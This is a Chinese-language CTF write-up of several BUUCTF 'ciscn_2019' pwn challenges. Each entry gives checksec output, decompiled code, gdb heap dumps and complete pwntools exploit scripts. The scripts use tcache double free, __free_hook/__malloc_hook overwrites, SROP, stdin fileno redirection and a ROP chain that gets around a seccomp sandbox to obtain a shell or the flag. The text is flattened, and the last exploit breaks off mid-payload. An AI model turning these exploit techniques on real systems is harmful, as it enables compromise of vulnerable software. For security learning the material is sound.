这个时候0x7fffa19cf4b0
被填充完全,接着输出就会输出0x7fffa19cf4b8
的内容,0x7fffa19cf4b8
的内容就是0x7fc2db859237 (setbuffer+231)
,所以得出这时的libc_now
=0x7fc2db859237 - 231
,那么libc base
= libc_now - libc.sym["setbuffer"]
接着就是填入/bin/sh
,改_free_hook
为system
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context.log_level = "debug" elf = ELF("./ciscn_2019_en_3" ) libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.27.so" ) p = remote("node3.buuoj.cn" ,"27106" ) def add (sz,text ): p.sendlineafter("choice:" ,"1" ) p.sendlineafter(": \n" ,str (sz)) p.sendlineafter(": \n" ,text) def delete (idx ): p.sendlineafter("choice:" ,"4" ) p.sendlineafter(":\n" ,str (idx)) if __name__ == '__main__' : p.sendlineafter('name?' ,'aaaaaa' ) p.sendlineafter('ID.' ,'2' *8 ) libcbase=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-231 -libc.sym['setbuffer' ] free_hook=libcbase+libc.sym['__free_hook' ] system=libcbase+libc.sym['system' ] log.success('libc base => 0x%x' ,libcbase) log.success('free hook => %x' ,free_hook) log.success('sys addr => 0x%x' ,system) add(0x20 ,'aaaa' ) add(0x20 ,'/bin/sh\x00' ) delete(0 ) delete(0 ) add(0x20 ,p64(free_hook)) add(0x20 ,'dd' ) add(0x20 ,p64(system)) delete(1 ) p.interactive()
ciscn_2019_es_1
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 def add (sz,name,call ): p.sendlineafter("choice:" ,'1' ) p.sendlineafter("Please input the size of compary's name\n" ,str (sz)) p.sendlineafter("please input name:" ,name) p.sendlineafter("please input compary call:" ,call) def show (idx ): p.sendlineafter("choice:" ,'2' ) p.sendlineafter("index:\n" ,str (idx)) def free (idx ): p.sendlineafter("choice:" ,'3' ) p.sendlineafter("index:\n" ,str (idx))
add
1 2 puts ("please input name:" ); read(0 , (void *)*heap_addr_4080[heap_number], (unsigned int )size);
这个可以直接让我们写到chunk->fd的位置
call
1 2 3 4 5 6 if ( heap_addr_4080[v1] ) free ((void *)*heap_addr_4080[v1]); puts ("You try it!" ); puts ("Done" ); return __readfsqword(0x28 u) ^ v2; }
这里没有释放后没有清零,use after free
思路
1.利用show
函数泄露libc
2.程序里面有个uaf ,利用这个进行double_free 来修改tcache里面的fd 指针,从而将free_hook
改为_libc_system
3.free
掉我们提前埋下的**/bin/sh**的chunk,从而getshell
3.gdb
利用show
函数泄露libc
1 2 3 4 5 6 add(0x410 ,'aaaa' ,'123' ) add(0x20 ,"bbbb" ,'124' ) add(0x20 ,"/bin/sh\x00" ,'125' ) free(0 ) show(0 )
2.程序里面有个uaf ,利用这个进行double_free 来修改tcache里面的fd 指针,从而将free_hook
改为_libc_system
gdb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> bin tcachebins 0x30 [ 2]: 0x55ce4a46d6c0 ◂— 0x55ce4a46d6c0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55ce4a46d270 —▸ 0x7ff520e96ca0 (main_arena+96) ◂— 0x55ce4a46d270 smallbins empty largebins empty
修改free_hook
1 2 3 add(0x28 ,p64(free_hook),'126' ) add(0x28 ,'111' ,'127' ) add(0x28 ,p64(system),'128' )
4.EXP
这里是改free
为system
,所以就必须先libc leak,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *elf = ELF("ciscn_s_6" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) sh = 0 def add (sz,name,call ): sh.sendlineafter("choice:" ,'1' ) sh.sendlineafter("Please input the size of compary's name\n" ,str (sz)) sh.sendlineafter("please input name:" ,name) sh.sendlineafter("please input compary call:" ,call) def show (idx ): sh.sendlineafter("choice:" ,'2' ) sh.sendlineafter("index:\n" ,str (idx)) def free (idx ): sh.sendlineafter("choice:" ,'3' ) sh.sendlineafter("index:\n" ,str (idx)) def main (ip,port,debug,mode ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process("ciscn_s_6" ) else : sh = remote(ip,port) add(0x410 ,'aaaa' ,'123' ) add(0x20 ,"bbbb" ,'124' ) add(0x20 ,"/bin/sh\x00" ,'125' ) free(0 ) show(0 ) leak_addr = u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) libc_base = leak_addr-96 -0x10 -libc.sym["__malloc_hook" ] free_hook=libc_base+libc.sym["__free_hook" ] system = libc_base+libc.sym["system" ] log.info("libc base=>%x" ,libc_base) log.info("free_hook=>%x" ,free_hook) log.info("system real=>%x" ,system) free(1 ) free(1 ) add(0x28 ,p64(free_hook),'126' ) add(0x28 ,'111' ,'127' ) add(0x28 ,p64(system),'128' ) free(2 ) sh.interactive() if __name__ == '__main__' : main("node3.buuoj.cn" ,"28066" ,0 ,0 )
为什么是0x3c4b78?
动态调试出来,泄露的unsorted bin
地址减去vmmap下查看的libc基址
add(0x410,‘aaaa’,‘123’),为什么是0x410?
因为add
对申请的堆的大小没有限制,而申请一个大的堆块(>0x400),这个堆块被free
后就会直接被分配进入unsorted bin
ciscn_2019_es_2
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 7 int __cdecl main (int argc, const char **argv, const char **envp) { init(); puts ("Welcome, my friend. What's your name?" ); vul(); return 0 ; }
vul
1 2 3 4 5 6 7 8 9 10 int vul () { char s; memset (&s, 0 , 0x20 u); read(0 , &s, 0x30 u); printf ("Hello, %s\n" , &s); read(0 , &s, 0x30 u); return printf ("Hello, %s\n" , &s); }
hack
1 2 3 4 int hack () { return system("echo flag" ); }
因为有system,可以不用libc_leak,但是要泄露EBP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ====system("/bin/sh\x00") ====must size()=0x28=40 ====then can overflow | a*4 | | a*4 | | Addr_1 | | b*4 | | sys_plt | | sys_ret | | Addr_2 | | /bin | | /sh\x00 | | 对齐 | =====ret_addr: | Addr_3 | ========== 0x28+4=44=0x2c= Addr_3 Addr_1=44-4-4=36=0x24 Addr_2=44-4*5=24=0x1c(sys_ret不在ebp上偏移传参)
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,29643 ) elf = ELF("./ciscn_2019_es_2" ) sys_addr = 0x8048400 pl = 'a' *0x20 +"b" *8 p.send(pl) p.recvuntil('b' *8 ) ebp = u32(p.recv(4 )) print (hex (ebp))pl2=('a' *8 +p32(ebp-0x24 )+'bbbb' +p32(sys_addr)+'cccc' +p32(ebp-0x1c )+'/bin/sh\x00' ).ljust(0x28 ,'p' )+p32(ebp-0x2c ) p.send(pl2) p.interactive()
ciscn_2019_es_7
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
vuln
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ; read(fd,buf,0x400) ; write(fd,buf,0x30) ; Attributes: bp-based frame public vuln vuln proc near ; CODE XREF: main+14↓p buf = byte ptr -10h ; __unwind { push rbp mov rbp, rsp xor rax, rax mov edx, 400h ; count lea rsi, [rsp+buf] ; buf mov rdi, rax ; fd syscall ; LINUX - sys_read mov rax, 1 mov edx, 30h ; count lea rsi, [rsp+buf] ; buf mov rdi, rax ; fd syscall ; LINUX - sys_write retn vuln endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- pop rbp retn ; } // starts at 4004ED
分析syscall
,发现只有read
和write
。
gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 gadgets proc near ; __unwind { push rbp mov rbp, rsp mov rax, 0Fh ; //constants.SYS_sigreturn retn gadgets endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov rax, 3Bh ; //execve retn ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- pop rbp retn ; } // starts at 4004D6
mov rax, 0Fh
: 在syscall里面,0xf 代表constants.SYS_sigreturn
mov rax, 3Bh
: 在syscall里面,0x3b 代表execve
所以要用SROP
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import *context.log_level ='debug' context.arch='amd64' sh=remote("node3.buuoj.cn" ,27162 ) syscall_ret=0x400517 read=0x4004f1 movrax_sigreturn=0x4004da movrax_system=0x4004E2 sh.send("/bin/sh" +"\x00" *9 +p64(read)) sh.recv(32 ) stack_addr=u64(sh.recv(8 )) log.success("stack: " +hex (stack_addr)) sh.recv(8 ) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr - 280 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret sh.send("/bin/sh" +"\x00" *9 +p64(movrax_sigreturn)+p64(syscall_ret)+str (sigframe)) sh.interactive()
ciscn_2019_final_2
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
老几样了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def add_int (add_type, add_num ): p.sendlineafter('> ' , '1' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , '1' ) p.sendafter('your inode number:' , str (add_num)) def add_short (add_num ): p.sendlineafter('> ' , '1' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , '2' ) p.sendafter(':' , str (add_num)) def remove (remove_type ): p.sendlineafter('which command?\n> ' , '2' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , str (remove_type)) def show (show_type ): p.sendlineafter('> ' , '3' ) p.sendlineafter('short int\n>' , str (show_type)) if show_type == 1 : p.recvuntil(':' ) elif show_type == 2 : p.recvuntil(':' ) return int (p.recvuntil('\n' ))
init
1 2 3 4 5 6 7 8 fd = open("flag" , 0 ); if ( fd == -1 ){ puts ("no such file :flag" ); exit (-1 ); } dup2(fd, 666 ); close(fd);
dup2(fd, 666)
的意思是,newfd
指向oldfd
句柄指向的文件描述符结构,即原本是指向标准输出文件描述结构体的666指向了flag
,这样一来,原本输出
到显示器终端的字符串就打印到test.file文件中了,这也是Linux操作系统的重定向实现方法
fileno()
用来取得参数stream指定的文件流所使用的文件描述词
返回值 :返回和stream文件流对应的文件描述符。如果失败,返回-1
bye_bye
1 2 3 4 5 6 7 8 9 10 11 12 void __noreturn bye_bye () { char v0; unsigned __int64 v1; v1 = __readfsqword(0x28 u); puts ("what do you want to say at last? " ); __isoc99_scanf("%99s" , &v0); printf ("your message :%s we have received...\n" , &v0); puts ("have fun !" ); exit (0 ); }
结合init
可知,最后基本上就靠这个函数得到flag了
delete
1 2 3 4 5 6 7 8 9 10 11 12 if ( v1 == 1 && int_pt ) { free (int_pt); bool = 0 ; puts ("remove success !" ); } if ( v1 == 2 && short_pt ) { free (short_pt); bool = 0 ; puts ("remove success !" ); }
释放指针指向的地址后,指针未置零
add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 if ( v3 == 1 ) { int_pt = malloc (0x20 uLL); if ( !int_pt ) exit (-1 ); bool = 1 ; printf ("your inode number:" ); v0 = (int *)int_pt; *v0 = get_atoi(); *((_DWORD *)int_pt + 2 ) = *(_DWORD *)int_pt; puts ("add success !" ); } if ( v3 == 2 ) { short_pt = malloc (0x10 uLL); if ( !short_pt ) exit (-1 ); bool = 1 ; printf ("your inode number:" ); v1 = get_atoi(); *(_WORD *)short_pt = v1; *((_WORD *)short_pt + 4 ) = *(_WORD *)short_pt; puts ("add success !" ); }
每次分配的空间都是固定的
.bss
1 2 3 4 5 6 7 8 9 10 11 .bss:0000000000202050 int_pt dq ? ; DATA XREF: show+4E↑r .bss:0000000000202050 ; show+5A↑r ... .bss:0000000000202058 public short_pt .bss:0000000000202058 ; void *short_pt .bss:0000000000202058 short_pt dq ? ; DATA XREF: show+7C↑r .bss:0000000000202058 ; show+88↑r ... .bss:0000000000202060 public _bool .bss:0000000000202060 _bool dd ? ; DATA XREF: allocate:loc_F8C↑w .bss:0000000000202060 ; allocate:loc_1009↑w ... .bss:0000000000202064 align 8 .bss:0000000000202064 _bss ends
int_pt
和short_pt
均为全局指针变量
环境是ubuntu18,应该是用tcache
累加得到一个unsorted bin
,最后释放后得到libc base
,得到fileno
;然后利用house of spirit
将stdin的fileno
改为666,scanf
就会从flag文件读取flag
GDB
over_lapping+libc_leak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 add(1 ,0x30 ) remove(1 ) add(2 ,0x20 ) add(2 ,0x20 ) add(2 ,0x20 ) add(2 ,0x20 ) remove(2 ) add(1 ,0x30 ) remove(2 ) addr_chunk0_prev_size = show(2 ) - 0xa0 add(2 , addr_chunk0_prev_size) add(2 , addr_chunk0_prev_size) add(2 , 0x91 ) gdb.attach(p) 0x563281ce9250 PREV_INUSE { mchunk_prev_size = 145 , mchunk_size = 145 , fd = 0x30 , bk = 0x30 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x563281ce92e0 FASTBIN { mchunk_prev_size = 0 , mchunk_size = 33 , fd = 0x563281ce9250 , bk = 0x9250 , fd_nextsize = 0x0 , bk_nextsize = 0x20d01 }
其实是通过mchunk来实现合并,相关链接堆漏洞挖掘:08—chunk的mchunk_prev_size成员的空间复用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 for i in range (0 , 7 ): remove(1 ) add(2 , 0x20 ) remove(1 ) 0x55fcf5564250 PREV_INUSE { mchunk_prev_size = 145 , mchunk_size = 145 , fd = 0x7f00598fcca0 <main_arena+96 >, bk = 0x7f00598fcca0 <main_arena+96 >, fd_nextsize = 0x0 , bk_nextsize = 0x0 } pwndbg> bin tcachebins 0x20 [ -1 ]: 0 0x90 [ 7 ]: 0x55fcf5564260 —▸ 0x7f00598fcca0 (main_arena+96 ) —▸ 0x55fcf55643e0 ◂— 0x0 ......................... unsortedbin all : 0x55fcf5564250 —▸ 0x7f00598fcca0 (main_arena+96 ) ◂— 0x55fcf5564250
不断申请和释放,由于tcache
最多只能存储7个chunk,所以之前的全部被分配进了unsorted bin
,实现了chunk的合并,之后偶就是常规的找地址了
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context.log_level = "debug" p = process("./ciscn_final_2" ) elf = ELF('./ciscn_final_2' ) libc = ELF('/home/joe1sn/libc/64/libc-2.27.so' ) def add (add_type, add_num ): p.sendlineafter('which command?\n> ' , '1' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , str (add_type)) p.sendafter('your inode number:' , str (add_num)) def remove (remove_type ): p.sendlineafter('which command?\n> ' , '2' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , str (remove_type)) def show (show_type ): p.sendlineafter('which command?\n> ' , '3' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , str (show_type)) if show_type == 1 : p.recvuntil('your int type inode number :' ) elif show_type == 2 : p.recvuntil('your short type inode number :' ) return int (p.recvuntil('\n' , drop=True )) if __name__ == '__main__' : add(1 ,0x30 ) remove(1 ) add(2 ,0x20 ) add(2 ,0x20 ) add(2 ,0x20 ) add(2 ,0x20 ) remove(2 ) add(1 ,0x30 ) remove(2 ) addr_chunk0_prev_size = show(2 ) - 0xa0 add(2 , addr_chunk0_prev_size) add(2 , addr_chunk0_prev_size) add(2 , 0x91 ) for i in range (0 , 7 ): remove(1 ) add(2 , 0x20 ) remove(1 ) addr_main_arena = show(1 ) - 96 libcbase = addr_main_arena - libc.sym['__malloc_hook' ] - 0x10 addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_' ] + 0x70 log.success("libc base > %x" ,libcbase) log.success("addr IO 2 1 stdin fileno > %x" ,addr__IO_2_1_stdin__fileno) gdb.attach(p) add(1 , addr__IO_2_1_stdin__fileno) add(1 , 0x30 ) remove(1 ) add(2 , 0x20 ) remove(1 ) addr_chunk0_fd = show(1 ) - 0x30 add(1 , addr_chunk0_fd) add(1 , addr_chunk0_fd) add(1 , 111 ) add(1 , 666 ) p.sendlineafter('which command?\n> ' , '4' ) p.recvuntil('your message :' ) p.interactive()
EXP来源 PwnKi-ciscn_2019_final_2
ciscn_2019_final_3
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
只有add和remove
1 2 3 4 5 6 7 8 9 10 11 def add (idx,size,data ): p.sendlineafter("choice > " ,'1' ) p.sendlineafter("the index" ,str (idx)) p.sendlineafter("the size" ,str (size)) p.sendlineafter("something" ,data) p.recvuntil('gift :' ) return int (p.recvline()[2 :],16 ) def free (idx ): p.sendlineafter("choice > " ,'2' ) p.sendlineafter("the index" ,str (idx))
add
1 2 3 4 5 6 7 8 9 10 11 12 13 v1 = std::operator <<<std::char_traits<char >>(&std::cout, "input the size" ); std::ostream::operator <<(v1, &std::endl<char ,std::char_traits<char >>); std::istream::operator >>(&std::cin, &size); if ( (unsigned int )size <= 0x78 ) { v2 = HIDWORD (size); qword_2022A0[v2] = malloc ((unsigned int )size); v3 = std::operator <<<std::char_traits<char >>(&std::cout, "now you can write something" ); std::ostream::operator <<(v3, &std::endl<char ,std::char_traits<char >>); READ (qword_2022A0[HIDWORD (size)], size); puts ("OK!" ); printf ("gift :%p\n" , qword_2022A0[HIDWORD (size)]); }
对申请的堆的大小进行了判断,并且可以给我们挡墙申请堆块的地址
remove
1 2 3 if ( v2 > 0x18 ) exit (0 ); free (qword_2022A0[v2]);
指针没有清零,所以我们可以多次释放来形成unsorted bin
;
然后释放unsorted bin
,来泄露libc base
和malloc hook
;
最后通过malloc hook
+one gadget
来getshehll
3.GDB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #code heap=add(0,0x78,'a')#0 print(hex(heap)) add(1,0x18,'b')#1 add(2,0x78,'c')#2 add(3,0x78,'d')#3 add(4,0x78,'c')#4 add(5,0x78,'d')#5 add(6,0x78,'c')#6 add(7,0x78,'d')#7 add(8,0x78,'c')#8 add(9,0x78,'d')#9 add(10,0x78,'c')#10 add(11,0x78,'d')#11 add(12,0x28,'d')#12 #dup (double free) free(12) free(12) gdb.attach(p) #输出> 0x557389971e70 #GDB 0x557389971e60 FASTBIN { mchunk_prev_size = 0, mchunk_size = 129, fd = 0xa61, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x557389971ee0 FASTBIN { mchunk_prev_size = 0, mchunk_size = 33, fd = 0xa62, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x81 } 0x557389971f00 FASTBIN { mchunk_prev_size = 0, mchunk_size = 129, fd = 0xa63, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } ........................ ........................ 0x557389972400 FASTBIN { mchunk_prev_size = 0, mchunk_size = 49, fd = 0x557389972410, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> x/16gx 0x557389972400 0x557389972400: 0x0000000000000000 0x0000000000000031 0x557389972410: 0x0000557389972410 0x0000000000000000 0x557389972420: 0x0000000000000000 0x0000000000000000 0x557389972430: 0x0000000000000000 0x000000000000ebd1 0x557389972440: 0x0000000000000000 0x0000000000000000 0x557389972450: 0x0000000000000000 0x0000000000000000 0x557389972460: 0x0000000000000000 0x0000000000000000 0x557389972470: 0x0000000000000000 0x0000000000000000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #code add(13,0x28,p64(heap-0x10))#4 add(14,0x28,p64(heap-0x10))#5 add(15,0x28,p64(0)+p64(0x421))#get chunk0->size gdb.attach(p) >>>之前的输出为0x561fb56f5e60 #GDB 0x561fb56f5e60 PREV_INUSE { mchunk_prev_size = 0, mchunk_size = 1057, fd = 0xa0a, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } >>>这里的size位已经被修改成了0x421为后面做准备
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #code free(0) #unsort_bin chunk0->fd=libc free(1) #tcache add(16,0x78,'e')#7 add(17,0x18,'f')#8 get chunk1 gdb.attach(p) >>>输出 0x55584522be60 #GDB 0x55584522be60 FASTBIN { mchunk_prev_size = 0, mchunk_size = 129, fd = 0x7fbd07fc0a65, bk = 0x7fbd07fca090 <main_arena+1104>, fd_nextsize = 0x55584522be60, bk_nextsize = 0x55584522be60 } 0x55584522bee0 PREV_INUSE { mchunk_prev_size = 0, mchunk_size = 929, fd = 0x7fbd07fc0a66, bk = 0x7fbd07fc9ca0 <main_arena+96>, fd_nextsize = 0x0, bk_nextsize = 0x81 } pwndbg> bin tcachebins 0x20 [ 0]: 0x7fbd07fc9ca0 (main_arena+96) ◂— ... 0x30 [ -1]: 0 unsortedbin all [corrupted] FD: 0x55584522bee0 ◂— 0x7fbd07fc0a66 BK: 0x55584522bee0 —▸ 0x7fbd07fc9ca0 (main_arena+96) ◂— 0x55584522bee0 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ................... 0x55584521a000 0x55584523b000 rw-p 21000 0 [heap] .................................. 0x7fbd07bde000 0x7fbd07dc5000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so >>>这里已经被修改为了unsorted bin,再次申请堆的话就是申请[0x562fe6debee0 PREV_INUSE]这块的bk,而且返回的地址是> bk = 0x7f22f4cccca0 <main_arena+96> #开始计算libc base >>> hex(0x7fbd07fc9ca0-0x7fbd07bde000) '0x3ebca0' [DEBUG] Received 0x33 bytes: 'OK!\n' 'gift :0x7fbd07fc9ca0\n' '1. add\n' '2. remove\n' 'choice > ' ('0x7fbd07bde000', '0x7fbd07fc9c30')
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *p = remote("node3.buuoj.cn" ,27672 ) libc=ELF('./libc.so.6' ) def add (idx,size,data ): p.sendlineafter("choice > " ,'1' ) p.sendlineafter("the index" ,str (idx)) p.sendlineafter("the size" ,str (size)) p.sendlineafter("something" ,data) p.recvuntil('gift :' ) return int (p.recvline()[2 :],16 ) def free (idx ): p.sendlineafter("choice > " ,'2' ) p.sendlineafter("the index" ,str (idx)) heap=add(0 ,0x78 ,'a' ) log.info("chunks 0> 0x%x" ,heap) add(1 ,0x18 ,'b' ) add(2 ,0x78 ,'c' ) add(3 ,0x78 ,'d' ) add(4 ,0x78 ,'c' ) add(5 ,0x78 ,'d' ) add(6 ,0x78 ,'c' ) add(7 ,0x78 ,'d' ) add(8 ,0x78 ,'c' ) add(9 ,0x78 ,'d' ) add(10 ,0x78 ,'c' ) add(11 ,0x78 ,'d' ) add(12 ,0x28 ,'d' ) free(12 ) free(12 ) add(13 ,0x28 ,p64(heap-0x10 )) add(14 ,0x28 ,p64(heap-0x10 )) add(15 ,0x28 ,p64(0 )+p64(0x421 )) free(0 ) free(1 ) add(16 ,0x78 ,'e' ) add(17 ,0x18 ,'f' ) leak=add(18 ,0x18 ,'g' ) libc_base =leak - 0x3ebca0 malloc_hook=libc_base+libc.sym['__malloc_hook' ] one_gadget=libc_base+0x10a38c log.info("libc base 0x%x" ,libc_base) log.info("malloc hook 0x%x" ,malloc_hook) log.info("one gadget 0x%x" ,one_gadget) free(5 ) free(5 ) add(19 ,0x78 ,p64(malloc_hook)) add(20 ,0x78 ,p64(malloc_hook)) add(21 ,0x78 ,p64(one_gadget)) p.sendline('1' ) p.sendline('22' ) p.sendline('0;cat flag' ) p.interactive()
ciscn_2019_final_4
https://blog.csdn.net/seaaseesa/article/details/105855306
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
sandbox
1 2 3 4 5 6 7 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0004 0002: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0004 0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0004: 0x06 0x00 0x00 0x00000000 return KILL
delete
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned __int64 delete () { int idx; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("please don't patch this function!! I will check it!!" ); puts ("index ?" ); _isoc99_scanf("%d" , &idx); if ( idx >= 0 && idx <= 31 && note[idx] ) free (note[idx]); else puts ("invalid index" ); return __readfsqword(0x28 u) ^ v2; }
uaf造成double free
程序只能orw,存在uaf,chunk->size大小随意,show
可以泄露
3.思路
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 from pwn import * sh = remote('node3.buuoj.cn' ,25021 ) libc = ELF('libc-2.23.so' ) malloc_hook_s = libc.symbols['__malloc_hook' ] environ_s = libc.symbols['__environ' ] fake_chunk = p64(0 ) + p64(0x81 ) payload = 'a' *0xE8 + fake_chunk sh.sendafter('what is your name?' ,payload) def add (size,content ): sh.sendlineafter('>>' ,'1' ) sh.sendlineafter('size?' ,str (size)) sh.sendafter('content?' ,content) def delete (index ): sh.sendlineafter('>>' ,'2' ) sh.sendlineafter('index ?' ,str (index)) def show (index ): sh.sendlineafter('>>' ,'3' ) sh.sendlineafter('index ?' ,str (index)) add(0x100 ,'a' *0x100 ) add(0x78 ,'b' *0x78 ) add(0x78 ,'c' *0x78 ) add(0x38 ,'d' *0x38 ) add(0x38 ,'e' *0x38 ) add(0x10 ,'d' *0x10 ) add(0x81 ,'f' *0x81 ) heapsize6_addr = 0x0000000000602058 note_addr = 0x00000000006020C0 delete(0 ) show(0 ) sh.recvuntil('\n' ) main_arena_88 = u64(sh.recv(6 ).ljust(8 ,'\x00' )) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000 ) + (malloc_hook_s & 0xFFF ) libc_base = malloc_hook_addr - malloc_hook_s environ_addr = libc_base + environ_s pop_rdi = libc_base + 0x0000000000021102 pop_rsi = libc_base + 0x00000000000202e8 pop_rdx = libc_base + 0x0000000000001b92 add_rsp_148 = libc_base + 0x00000000000353aa openat_addr = libc_base + libc.sym['openat' ] read_addr = libc_base + libc.sym['read' ] puts_addr = libc_base + libc.sym['puts' ] print 'libc_base=' ,hex (libc_base)print 'environ_addr=' ,hex (environ_addr)delete(1 ) delete(2 ) delete(1 ) add(0x78 ,p64(heapsize6_addr - 0x8 )) add(0x78 ,'c' ) add(0x78 ,'a' ) payload = '\x00' *0x60 payload += p64(environ_addr) add(0x78 ,payload) show(0 ) sh.recvuntil('\n' ) stack_addr = u64(sh.recv(6 ).ljust(8 ,'\x00' )) print 'stack_addr=' ,hex (stack_addr)fake_chunk_stack_addr = stack_addr - 0x120 print 'fake_chunk_stack_addr=' ,hex (fake_chunk_stack_addr)delete(1 ) delete(2 ) delete(1 ) add(0x78 ,p64(fake_chunk_stack_addr)) add(0x78 ,'c' ) add(0x78 ,'a' ) add(0x78 ,'d' *0x11 ) show(14 ) sh.recvuntil('d' *0x11 ) canary = u64(sh.recv(7 ).rjust(8 ,'\x00' )) print 'canary=' ,hex (canary)delete(1 ) delete(2 ) delete(1 ) add(0x78 ,p64(fake_chunk_stack_addr)) add(0x78 ,'c' ) add(0x78 ,'a' ) next_rop_addr = fake_chunk_stack_addr + 0x88 payload = 'a' *0x40 payload += p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(next_rop_addr) + p64(pop_rdx) + p64(0x1000 ) + p64(read_addr) add(0x78 ,payload) fake_chunk_stack_addr2 = stack_addr - 0x246 delete(3 ) delete(4 ) delete(3 ) add(0x38 ,p64(fake_chunk_stack_addr2)) add(0x38 ,'c' ) add(0x38 ,'a' ) payload = 'd' *0x6 + p64(canary) + 